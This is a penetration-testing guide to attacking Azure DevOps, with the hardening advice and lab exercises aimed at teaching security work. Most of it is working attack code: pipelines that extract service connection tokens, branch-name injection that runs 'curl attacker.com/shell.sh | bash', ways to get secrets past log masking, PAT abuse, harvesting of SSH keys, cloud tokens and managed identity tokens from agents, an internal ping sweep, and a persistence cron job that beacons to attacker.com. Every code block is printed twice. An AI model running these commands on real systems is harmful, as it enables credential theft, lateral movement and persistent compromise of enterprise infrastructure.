Section 07

🔥 Advanced

Azure DevOps Attacks

Azure DevOps (ADO) is deeply embedded in enterprise environments. Service connections, variable groups, and pipelines are high-value targets for lateral movement into Azure and beyond.

Enterprise Goldmine

ADO often has service connections to production Azure subscriptions, AWS accounts, and Kubernetes clusters. Compromising ADO can grant access to every environment it deploys to. The 2020 SolarWinds attack demonstrated how build pipeline compromise can cascade to thousands of downstream targets.

ADO Attack Kill Chain

flowchart LR R["🔍 Recon PAT Discovery Repo Enum"] --> IA["🚪 Initial Access PAT Abuse Pipeline Injection"] IA --> E["📋 Enumerate Service Connections Variable Groups"] E --> PE["⬆️ Priv Esc Agent Compromise Connection Theft"] PE --> LM["↔️ Lateral Move Azure / AWS / K8s via Connections"] LM --> P["🔒 Persist Backdoor Pipeline Agent Cron Job"] P --> EX["📤 Exfiltrate Secrets Dump Code / Artifacts"]

ADO Attack Surface

🔗

Service Connections

Azure RM, AWS, K8s, Docker, SSH — credentials to external infrastructure

📦

Variable Groups

Shared secrets, Key Vault links, connection strings across pipelines

🏃

Agent Pools

Self-hosted runners on internal networks with cached credentials

🔑

PAT Tokens

Often overprivileged, long-lived, and leaked in repos or logs

📝

Pipeline YAML

Injection via PR branch names, commit messages, parameters

🔓

Permissions Model

"Allow all pipelines" defaults, overly broad project access

Service Connection Abuse

The Crown Jewels

Service connections store credentials for Azure subscriptions, AWS accounts, Kubernetes clusters, and more. If a connection is set to "Allow all pipelines" (a common default), any pipeline in the project can use it — including ones an attacker creates via a PR.

Connection Type	What It Grants	Impact if Compromised
Azure Resource Manager	Service Principal with Azure RBAC role	Full Azure subscription access (often Contributor)
AWS	IAM access keys or OIDC role	AWS account access (EC2, S3, IAM)
Kubernetes	Kubeconfig / service account token	Cluster admin on production K8s
Docker Registry	Registry credentials (ACR, DockerHub)	Push malicious images, poison supply chain
SSH	SSH private key + host	Direct server access, lateral movement

service-connection-abuse.yml

yaml

# ============================================================
# Enumerating Service Connections
# ============================================================

# Via REST API (requires Project Admin or Endpoint Reader)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type, url}'

# Via az devops CLI
az devops service-endpoint list --organization https://dev.azure.com/ORG --project PROJECT -o table

# Check which connections allow "all pipelines" (over-permissive)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/<ENDPOINT_ID>?api-version=7.0-preview" | jq

# ============================================================
# Exploiting a Service Connection from a Pipeline
# ============================================================

# If you can create or modify a pipeline, reference the connection:
# azure-pipelines.yml
trigger: none

pool:
  vmImage: ubuntu-latest

steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Prod-ServiceConnection'  # Target connection name
    scriptType: bash
    scriptLocation: inlineScript
    inlineScript: |
      echo "[+] Subscription info:"
      az account show
      echo "[+] Key Vaults:"
      az keyvault list -o table
      echo "[+] VMs:"
      az vm list --query "[].{Name:name,IP:publicIps}" -o table
      echo "[+] Storage accounts:"
      az storage account list --query "[].{Name:name,Key:allowSharedKeyAccess}" -o table
      # Exfiltrate the access token itself for use outside the pipeline
      az account get-access-token --query accessToken -o tsv
# ============================================================
# Enumerating Service Connections
# ============================================================

# Via REST API (requires Project Admin or Endpoint Reader)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type, url}'

# Via az devops CLI
az devops service-endpoint list --organization https://dev.azure.com/ORG --project PROJECT -o table

# Check which connections allow "all pipelines" (over-permissive)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/<ENDPOINT_ID>?api-version=7.0-preview" | jq

# ============================================================
# Exploiting a Service Connection from a Pipeline
# ============================================================

# If you can create or modify a pipeline, reference the connection:
# azure-pipelines.yml
trigger: none

pool:
  vmImage: ubuntu-latest

steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Prod-ServiceConnection'  # Target connection name
    scriptType: bash
    scriptLocation: inlineScript
    inlineScript: |
      echo "[+] Subscription info:"
      az account show
      echo "[+] Key Vaults:"
      az keyvault list -o table
      echo "[+] VMs:"
      az vm list --query "[].{Name:name,IP:publicIps}" -o table
      echo "[+] Storage accounts:"
      az storage account list --query "[].{Name:name,Key:allowSharedKeyAccess}" -o table
      # Exfiltrate the access token itself for use outside the pipeline
      az account get-access-token --query accessToken -o tsv

Pipeline Injection

ADO pipelines use YAML similar to GitHub Actions. User-controlled values like branch names, commit messages, and PR titles that flow into script: blocks create injection vectors.

pipeline-injection.yml

yaml

# azure-pipelines.yml - VULNERABLE pattern
trigger:
  - main

pool:
  vmImage: ubuntu-latest

steps:
# VULNERABLE: User-controlled variables interpolated into script
- script: |
    echo "Building PR: $(System.PullRequest.SourceBranch)"
    echo "Commit message: $(Build.SourceVersionMessage)"
  displayName: 'Build Info'

# ATTACK: Create a PR with branch name containing:
#   ; curl https://attacker.com/shell.sh | bash #
# ADO will interpolate the variable into the script block,
# breaking out of the echo command and executing attacker code.

# SAFE ALTERNATIVE: Use environment variables instead of inline interpolation
- script: |
    echo "Building PR: $BRANCH"
    echo "Commit message: $MSG"
  env:
    BRANCH: $(System.PullRequest.SourceBranch)
    MSG: $(Build.SourceVersionMessage)
  displayName: 'Build Info (Safe)'
# azure-pipelines.yml - VULNERABLE pattern
trigger:
  - main

pool:
  vmImage: ubuntu-latest

steps:
# VULNERABLE: User-controlled variables interpolated into script
- script: |
    echo "Building PR: $(System.PullRequest.SourceBranch)"
    echo "Commit message: $(Build.SourceVersionMessage)"
  displayName: 'Build Info'

# ATTACK: Create a PR with branch name containing:
#   ; curl https://attacker.com/shell.sh | bash #
# ADO will interpolate the variable into the script block,
# breaking out of the echo command and executing attacker code.

# SAFE ALTERNATIVE: Use environment variables instead of inline interpolation
- script: |
    echo "Building PR: $BRANCH"
    echo "Commit message: $MSG"
  env:
    BRANCH: $(System.PullRequest.SourceBranch)
    MSG: $(Build.SourceVersionMessage)
  displayName: 'Build Info (Safe)'

Variable Group Extraction

variable-group-extraction.yml

yaml

# ============================================================
# Enumerating Variable Groups
# ============================================================

# List all variable groups in a project
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" |   jq '.value[] | {id, name, description}'

# Get a specific variable group (secret values will be masked as null)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups/GROUP_ID?api-version=7.0" |   jq '.variables | to_entries[] | {key: .key, isSecret: .value.isSecret}'

# ============================================================
# Extracting Secrets via Pipeline
# ============================================================

# To read actual secret values, reference the group in a pipeline:
# azure-pipelines.yml
variables:
  - group: 'Production-Secrets'  # Links the variable group

steps:
- script: |
    # ADO injects secrets as env vars — masked in logs but readable in the process
    # Method 1: Base64 encode to bypass log masking
    echo "$(DB_PASSWORD)" | base64
    echo "$(API_KEY)" | base64
    
    # Method 2: Character-by-character exfiltration
    echo "$(DB_PASSWORD)" | sed 's/./&
/g'
    
    # Method 3: Write to a file, upload as artifact
    echo "$(DB_PASSWORD)" > /tmp/secrets.txt
    echo "$(API_KEY)" >> /tmp/secrets.txt
  displayName: 'Build Step'

# Key Vault linked variable groups are even more valuable
# They pull secrets from Azure Key Vault at runtime
# Compromising these gives you Key Vault access
# ============================================================
# Enumerating Variable Groups
# ============================================================

# List all variable groups in a project
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" |   jq '.value[] | {id, name, description}'

# Get a specific variable group (secret values will be masked as null)
curl -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups/GROUP_ID?api-version=7.0" |   jq '.variables | to_entries[] | {key: .key, isSecret: .value.isSecret}'

# ============================================================
# Extracting Secrets via Pipeline
# ============================================================

# To read actual secret values, reference the group in a pipeline:
# azure-pipelines.yml
variables:
  - group: 'Production-Secrets'  # Links the variable group

steps:
- script: |
    # ADO injects secrets as env vars — masked in logs but readable in the process
    # Method 1: Base64 encode to bypass log masking
    echo "$(DB_PASSWORD)" | base64
    echo "$(API_KEY)" | base64
    
    # Method 2: Character-by-character exfiltration
    echo "$(DB_PASSWORD)" | sed 's/./&
/g'
    
    # Method 3: Write to a file, upload as artifact
    echo "$(DB_PASSWORD)" > /tmp/secrets.txt
    echo "$(API_KEY)" >> /tmp/secrets.txt
  displayName: 'Build Step'

# Key Vault linked variable groups are even more valuable
# They pull secrets from Azure Key Vault at runtime
# Compromising these gives you Key Vault access

PAT Token Abuse

Personal Access Tokens (PATs) are often overprivileged, long-lived (up to 1 year), and found in Git configs, CI/CD logs, environment variables, and Slack messages. A single PAT can grant full org-wide access.

pat-exploitation.sh

bash

# ============================================================
# Validating a Found PAT
# ============================================================

# Check what the token can access (identity + scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/connectionData" | jq '{authenticatedUser: .authenticatedUser.providerDisplayName}'

# List all projects the token has access to
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/projects?api-version=7.0" | jq '.value[].name'

# ============================================================
# Enumerate with a Valid PAT
# ============================================================

# List repos
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/git/repositories?api-version=7.0" | jq '.value[] | {name, webUrl}'

# Clone repos (use PAT as password when prompted)
git clone "https://ORG@dev.azure.com/ORG/PROJECT/_git/REPO"

# List pipelines
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines?api-version=7.0" | jq '.value[] | {id, name}'

# List service connections (if PAT has Endpoint Reader scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type}'

# ============================================================
# Active Exploitation with PAT
# ============================================================

# Queue a pipeline run (inject attacker-controlled build)
curl -X POST -u :$PAT   -H "Content-Type: application/json"   -d '{"resources":{"repositories":{"self":{"refName":"refs/heads/main"}}}}'   "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/PIPELINE_ID/runs?api-version=7.0"

# Push code to a repo (if PAT has Code Write scope)
# Modify pipeline YAML to exfiltrate secrets on next run
git push origin main

# Search code for more secrets
curl -s -X POST -u :$PAT   -H "Content-Type: application/json"   -d '{"searchText":"password OR secret OR connectionString","$top":25}'   "https://almsearch.dev.azure.com/ORG/PROJECT/_apis/search/codesearchresults?api-version=7.0" | jq '.results[].fileName'
# ============================================================
# Validating a Found PAT
# ============================================================

# Check what the token can access (identity + scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/connectionData" | jq '{authenticatedUser: .authenticatedUser.providerDisplayName}'

# List all projects the token has access to
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/projects?api-version=7.0" | jq '.value[].name'

# ============================================================
# Enumerate with a Valid PAT
# ============================================================

# List repos
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/git/repositories?api-version=7.0" | jq '.value[] | {name, webUrl}'

# Clone repos (use PAT as password when prompted)
git clone "https://ORG@dev.azure.com/ORG/PROJECT/_git/REPO"

# List pipelines
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines?api-version=7.0" | jq '.value[] | {id, name}'

# List service connections (if PAT has Endpoint Reader scope)
curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq '.value[] | {name, type}'

# ============================================================
# Active Exploitation with PAT
# ============================================================

# Queue a pipeline run (inject attacker-controlled build)
curl -X POST -u :$PAT   -H "Content-Type: application/json"   -d '{"resources":{"repositories":{"self":{"refName":"refs/heads/main"}}}}'   "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/PIPELINE_ID/runs?api-version=7.0"

# Push code to a repo (if PAT has Code Write scope)
# Modify pipeline YAML to exfiltrate secrets on next run
git push origin main

# Search code for more secrets
curl -s -X POST -u :$PAT   -H "Content-Type: application/json"   -d '{"searchText":"password OR secret OR connectionString","$top":25}'   "https://almsearch.dev.azure.com/ORG/PROJECT/_apis/search/codesearchresults?api-version=7.0" | jq '.results[].fileName'

Self-Hosted Agent Attacks

Self-hosted agents run on customer infrastructure — often with access to internal networks that Microsoft-hosted agents can't reach. They frequently have cached credentials, SSH keys, and network access to production systems.

agent-exploitation.sh

bash

# ============================================================
# Credential Harvesting from Agent
# ============================================================

# Agent configuration and cached credentials
cat $AGENT_HOMEDIRECTORY/.credentials
cat $AGENT_HOMEDIRECTORY/.credentials_rsaparams

# Azure CLI cached tokens (if agent runs az commands)
cat ~/.azure/accessTokens.json 2>/dev/null
cat ~/.azure/azureProfile.json 2>/dev/null

# Docker configs (registry credentials)
cat ~/.docker/config.json 2>/dev/null

# SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/known_hosts  # reveals internal infrastructure

# Git credentials
git config --global credential.helper
cat ~/.git-credentials 2>/dev/null

# Kube configs (if agent deploys to K8s)
cat ~/.kube/config 2>/dev/null

# ============================================================
# Internal Network Reconnaissance
# ============================================================

# Self-hosted agents are often inside the corporate network
ip addr show
cat /etc/resolv.conf      # Internal DNS servers
cat /etc/hosts             # Hardcoded hostnames

# Scan internal network from the agent
for i in $(seq 1 254); do
  (ping -c 1 -W 1 10.0.0.$i &>/dev/null && echo "[+] 10.0.0.$i alive") &
done; wait

# Check for Azure IMDS (if agent is an Azure VM)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq

# Steal Managed Identity token from the agent VM
curl -s -H "Metadata:true"   "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq '.access_token'

# ============================================================
# Persistence on Agent
# ============================================================

# Cron job (executes every minute)
(crontab -l 2>/dev/null; echo "* * * * * curl -s https://attacker.com/beacon.sh | bash") | crontab -

# Modify the agent's .env file to inject env vars into ALL future pipeline runs
echo "BACKDOOR_TOKEN=<attacker-c2-token>" >> $AGENT_HOMEDIRECTORY/.env
# ============================================================
# Credential Harvesting from Agent
# ============================================================

# Agent configuration and cached credentials
cat $AGENT_HOMEDIRECTORY/.credentials
cat $AGENT_HOMEDIRECTORY/.credentials_rsaparams

# Azure CLI cached tokens (if agent runs az commands)
cat ~/.azure/accessTokens.json 2>/dev/null
cat ~/.azure/azureProfile.json 2>/dev/null

# Docker configs (registry credentials)
cat ~/.docker/config.json 2>/dev/null

# SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/known_hosts  # reveals internal infrastructure

# Git credentials
git config --global credential.helper
cat ~/.git-credentials 2>/dev/null

# Kube configs (if agent deploys to K8s)
cat ~/.kube/config 2>/dev/null

# ============================================================
# Internal Network Reconnaissance
# ============================================================

# Self-hosted agents are often inside the corporate network
ip addr show
cat /etc/resolv.conf      # Internal DNS servers
cat /etc/hosts             # Hardcoded hostnames

# Scan internal network from the agent
for i in $(seq 1 254); do
  (ping -c 1 -W 1 10.0.0.$i &>/dev/null && echo "[+] 10.0.0.$i alive") &
done; wait

# Check for Azure IMDS (if agent is an Azure VM)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq

# Steal Managed Identity token from the agent VM
curl -s -H "Metadata:true"   "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq '.access_token'

# ============================================================
# Persistence on Agent
# ============================================================

# Cron job (executes every minute)
(crontab -l 2>/dev/null; echo "* * * * * curl -s https://attacker.com/beacon.sh | bash") | crontab -

# Modify the agent's .env file to inject env vars into ALL future pipeline runs
echo "BACKDOOR_TOKEN=<attacker-c2-token>" >> $AGENT_HOMEDIRECTORY/.env

ADO Enumeration Checklist

ado-enumeration.sh

bash

# Install Azure DevOps CLI extension
az extension add --name azure-devops
az devops configure --defaults organization=https://dev.azure.com/ORG

# --- Organization-level ---
az devops project list -o table

# --- Project-level ---
az repos list --project PROJECT -o table
az pipelines list --project PROJECT -o table
az devops service-endpoint list --project PROJECT -o table
az pipelines variable-group list --project PROJECT -o table

# --- Code search for secrets ---
az repos search "password" --project PROJECT
az repos search "connectionString" --project PROJECT
az repos search "AccountKey" --project PROJECT
az repos search "BEGIN RSA" --project PROJECT

# --- Pipeline inspection ---
az pipelines show --id PIPELINE_ID --project PROJECT -o yaml
# Look for: service connections referenced, variable groups linked,
# inline scripts with variable interpolation, self-hosted pool references

# --- Permissions audit ---
# Check who has Project Admin, Build Admin, Endpoint Admin roles
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/graph/groups?api-version=7.0-preview" | jq '.value[] | {displayName, principalName}'
# Install Azure DevOps CLI extension
az extension add --name azure-devops
az devops configure --defaults organization=https://dev.azure.com/ORG

# --- Organization-level ---
az devops project list -o table

# --- Project-level ---
az repos list --project PROJECT -o table
az pipelines list --project PROJECT -o table
az devops service-endpoint list --project PROJECT -o table
az pipelines variable-group list --project PROJECT -o table

# --- Code search for secrets ---
az repos search "password" --project PROJECT
az repos search "connectionString" --project PROJECT
az repos search "AccountKey" --project PROJECT
az repos search "BEGIN RSA" --project PROJECT

# --- Pipeline inspection ---
az pipelines show --id PIPELINE_ID --project PROJECT -o yaml
# Look for: service connections referenced, variable groups linked,
# inline scripts with variable interpolation, self-hosted pool references

# --- Permissions audit ---
# Check who has Project Admin, Build Admin, Endpoint Admin roles
curl -s -u :$PAT "https://dev.azure.com/ORG/_apis/graph/groups?api-version=7.0-preview" | jq '.value[] | {displayName, principalName}'

Detection & Hardening

Hardening Recommendations

• Disable "Allow all pipelines" on every service connection and variable group
• Require approvals and checks on production service connections
• Use OIDC (Workload Identity Federation) instead of static secrets for Azure connections
• Restrict PAT scopes to minimum required and set short expiry (≤90 days)
• Enable branch protection — require PR reviews for pipeline YAML changes
• Use pipeline decorators to inject security scanning into all builds
• Isolate self-hosted agents in dedicated VNets with restricted outbound access

Detection Indicators

• Audit Log: PAT creation, service connection access, pipeline modifications
• New pipelines referencing production service connections
• Pipeline runs from unusual branches or triggered by unfamiliar users
• Agent machines making unexpected outbound HTTP requests
• Variable group access from pipelines that don't normally use them
• Code search API calls (often indicates recon phase)
• Service connection usage outside normal deployment windows

detection-hardening.sh

bash

# ============================================================
# Audit: Check for overpermissive service connections
# ============================================================

# List all service endpoints and check "allPipelines" authorization
for EP_ID in $(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq -r '.value[].id'); do
  NAME=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints/$EP_ID?api-version=7.0" | jq -r '.name')
  AUTH=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview" | jq -r '.allPipelines.authorized')
  echo "[$AUTH] $NAME"
done
# Any showing [true] = any pipeline in the project can use this connection

# ============================================================
# Hardening: Disable "Allow all pipelines" on a service connection
# ============================================================

curl -X PATCH -u :$PAT   -H "Content-Type: application/json"   -d '{"allPipelines":{"authorized":false}}'   "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview"

# ============================================================
# Hardening: Enforce OIDC (Workload Identity Federation)
# ============================================================
# Replace static SP credentials with federated identity:
# 1. Create federated credential on the Azure AD app registration
# 2. Update ADO service connection to use "Workload Identity Federation"
# 3. Delete the old client secret
# This eliminates stored secrets — ADO requests short-lived tokens via OIDC
# ============================================================
# Audit: Check for overpermissive service connections
# ============================================================

# List all service endpoints and check "allPipelines" authorization
for EP_ID in $(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" | jq -r '.value[].id'); do
  NAME=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints/$EP_ID?api-version=7.0" | jq -r '.name')
  AUTH=$(curl -s -u :$PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview" | jq -r '.allPipelines.authorized')
  echo "[$AUTH] $NAME"
done
# Any showing [true] = any pipeline in the project can use this connection

# ============================================================
# Hardening: Disable "Allow all pipelines" on a service connection
# ============================================================

curl -X PATCH -u :$PAT   -H "Content-Type: application/json"   -d '{"allPipelines":{"authorized":false}}'   "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/endpoint/$EP_ID?api-version=7.0-preview"

# ============================================================
# Hardening: Enforce OIDC (Workload Identity Federation)
# ============================================================
# Replace static SP credentials with federated identity:
# 1. Create federated credential on the Azure AD app registration
# 2. Update ADO service connection to use "Workload Identity Federation"
# 3. Delete the old client secret
# This eliminates stored secrets — ADO requests short-lived tokens via OIDC

Tools

Tool	Category	Best For
Nord Stream	Secret Extraction	Extract secrets from ADO, GitHub, GitLab pipelines
SCMKit	Exploitation	Source code management attack toolkit (C#)
ADOKit	Enumeration	Azure DevOps recon and exploitation (C#) — repos, pipelines, groups
az devops CLI	Enumeration	Official CLI — enumerate projects, repos, pipelines, endpoints
AzureHound	Attack Paths	Map ADO service principal → Azure attack paths via BloodHound

🎯

Azure DevOps Attack Labs

Hands-on exercises for ADO pipeline exploitation techniques.

🔧

Service Connection Enumeration & Exploitation Custom Lab medium

Set up a test ADO project with Azure RM and K8s service connectionsUse the REST API and az devops CLI to enumerate all endpointsIdentify service connections with 'Allow all pipelines' enabledCreate a pipeline that references a production connection to extract its tokenUse the stolen Azure token to enumerate resources in the connected subscriptionRemediate: Disable 'Allow all pipelines' and add approval checks

🔧

Pipeline Injection & Variable Group Secrets Custom Lab hard

Create a pipeline with vulnerable variable interpolation in script blocksExploit the injection via a PR with a crafted branch name containing shell commandsLink a variable group with secrets and extract values via base64 encodingTest log masking bypass techniques (character splitting, file write + artifact upload)Implement the safe env: pattern and verify injection is blockedEnable branch protection policies to prevent unauthorized YAML changes

🔧

PAT Discovery & Self-Hosted Agent Pivot Custom Lab hard

Search repos for leaked PATs using az repos search and grep patternsValidate a found PAT's scope using the connectionData APIUse the PAT to enumerate projects, repos, and service connectionsRun a pipeline on a self-hosted agent and harvest cached credentialsPerform internal network reconnaissance from the agentEstablish persistence via cron job on the agent host

Need help setting up? Check our Lab Setup Guide →

📋 Framework Alignment

OWASP CI/CD: CICD-SEC-2 (Inadequate Identity & Access Mgmt), CICD-SEC-4 (Poisoned Pipeline Execution), CICD-SEC-5 (Insufficient PBAC) | MITRE ATT&CK: T1199 (Trusted Relationship), T1078.004 (Cloud Accounts), T1059.001 (PowerShell) | CIS Controls: 6.1 (Access Control), 16.1 (Software Development Process)

Related Guides

← Back to CI/CD & Supply Chain

Overview of all CI/CD security topics

GitHub Actions

Workflow exploitation and runner attacks

Secrets Scanning

Finding leaked credentials in repos and logs

Azure Pentesting

Azure-specific attacks (follows ADO lateral movement)